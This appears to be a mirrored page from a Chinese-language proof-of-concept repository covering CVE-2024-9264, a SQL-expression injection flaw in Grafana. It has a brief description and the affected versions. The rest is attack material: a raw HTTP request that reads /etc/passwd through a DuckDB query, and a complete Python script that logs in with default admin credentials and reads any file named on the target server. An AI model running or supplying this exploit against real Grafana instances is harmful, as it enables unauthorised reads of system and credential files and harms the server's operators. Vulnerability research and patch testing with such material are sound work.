mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-05-05 10:17:57 +00:00
158 lines
4.4 KiB
Markdown
158 lines
4.4 KiB
Markdown
# Grafana表达式远程代码执行(CVE-2024-9264)
|
||
|
||
Grafana 的 SQL 表达式实验功能允许评估包含用户输入的“duckdb”查询。这些查询在传递给“duckdb”之前没有得到充分的净化,从而导致命令注入和本地文件包含漏洞。任何具有 VIEWER 或更高权限的用户都能够执行此攻击。 “duckdb”二进制文件必须存在于 Grafana 的 $PATH 中才能使此攻击起作用;默认情况下,此二进制文件未安装在 Grafana 发行版中。
|
||
|
||
## 影响版本
|
||
|
||
Grafana >= v11.0.0 (all v11.x.y are impacted)
|
||
|
||
## poc
|
||
|
||
```javascript
|
||
POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
|
||
Host: 127.0.0.1:3000
|
||
Content-Type: application/json
|
||
Cookie: grafana_session=a739fa9aeb235f2790f17de00fefe528
|
||
Content-Length: 368
|
||
|
||
{
|
||
"from": "1696154400000",
|
||
"to": "1696345200000",
|
||
"queries": [
|
||
{
|
||
"datasource": {
|
||
"name": "Expression",
|
||
"type": "__expr__",
|
||
"uid": "__expr__"
|
||
},
|
||
"expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
|
||
"hide": false,
|
||
"refId": "B",
|
||
"type": "sql",
|
||
"window": ""
|
||
}
|
||
]
|
||
}
|
||
|
||
```
|
||
|
||

|
||
|
||
## python
|
||
|
||
```python
|
||
#!/usr/bin/env python3
|
||
|
||
"""
|
||
Grafana File Read PoC (CVE-2024-9264)
|
||
Author: z3k0sec // www.zekosec.com
|
||
"""
|
||
|
||
|
||
import requests
|
||
import json
|
||
import sys
|
||
import argparse
|
||
|
||
class Console:
|
||
def log(self, msg):
|
||
print(msg, file=sys.stderr)
|
||
|
||
console = Console()
|
||
|
||
def msg_success(msg):
|
||
console.log(f"[SUCCESS] {msg}")
|
||
|
||
def msg_failure(msg):
|
||
console.log(f"[FAILURE] {msg}")
|
||
|
||
def failure(msg):
|
||
msg_failure(msg)
|
||
sys.exit(1)
|
||
|
||
def authenticate(s, url, u, p):
|
||
res = s.post(f"{url}/login", json={"password": p, "user": u})
|
||
if res.json().get("message") == "Logged in":
|
||
msg_success(f"Logged in as {u}:{p}")
|
||
else:
|
||
failure(f"Failed to log in as {u}:{p}")
|
||
|
||
def run_query(s, url, query):
|
||
query_url = f"{url}/api/ds/query?ds_type=__expr__&expression=true&requestId=1"
|
||
query_payload = {
|
||
"from": "1696154400000",
|
||
"to": "1696345200000",
|
||
"queries": [
|
||
{
|
||
"datasource": {
|
||
"name": "Expression",
|
||
"type": "__expr__",
|
||
"uid": "__expr__"
|
||
},
|
||
"expression": query,
|
||
"hide": False,
|
||
"refId": "B",
|
||
"type": "sql",
|
||
"window": ""
|
||
}
|
||
]
|
||
}
|
||
|
||
res = s.post(query_url, json=query_payload)
|
||
data = res.json()
|
||
|
||
# Handle unexpected response
|
||
if "message" in data:
|
||
msg_failure("Unexpected response:")
|
||
msg_failure(json.dumps(data, indent=4))
|
||
return None
|
||
|
||
# Extract results
|
||
frames = data.get("results", {}).get("B", {}).get("frames", [])
|
||
|
||
if frames:
|
||
values = [
|
||
row
|
||
for frame in frames
|
||
for row in frame["data"]["values"]
|
||
]
|
||
|
||
if values:
|
||
msg_success("Successfully ran DuckDB query:")
|
||
return values
|
||
|
||
failure("No valid results found.")
|
||
|
||
def decode_output(values):
|
||
return [":".join(str(i) for i in row if i is not None) for row in values]
|
||
|
||
def main(url, user="admin", password="admin", file=None):
|
||
s = requests.Session()
|
||
authenticate(s, url, user, password)
|
||
file = file or "/etc/passwd"
|
||
escaped_filename = requests.utils.quote(file)
|
||
query = f"SELECT * FROM read_csv_auto('{escaped_filename}');"
|
||
content = run_query(s, url, query)
|
||
if content:
|
||
msg_success(f"Retrieved file {file}:")
|
||
for line in decode_output(content):
|
||
print(line)
|
||
|
||
if __name__ == "__main__":
|
||
parser = argparse.ArgumentParser(description="Arbitrary File Read in Grafana via SQL Expression (CVE-2024-9264).")
|
||
parser.add_argument("--url", help="URL of the Grafana instance to exploit")
|
||
parser.add_argument("--user", default="admin", help="Username to log in as, defaults to 'admin'")
|
||
parser.add_argument("--password", default="admin", help="Password used to log in, defaults to 'admin'")
|
||
parser.add_argument("--file", help="File to read on the server, defaults to '/etc/passwd'")
|
||
|
||
|
||
args = parser.parse_args()
|
||
main(args.url, args.user, args.password, args.file)
|
||
|
||
```
|
||
|
||
## 漏洞来源
|
||
|
||
- https://zekosec.com/blog/file-read-grafana-cve-2024-9264/
|
||
- https://github.com/z3k0sec/File-Read-CVE-2024-9264
|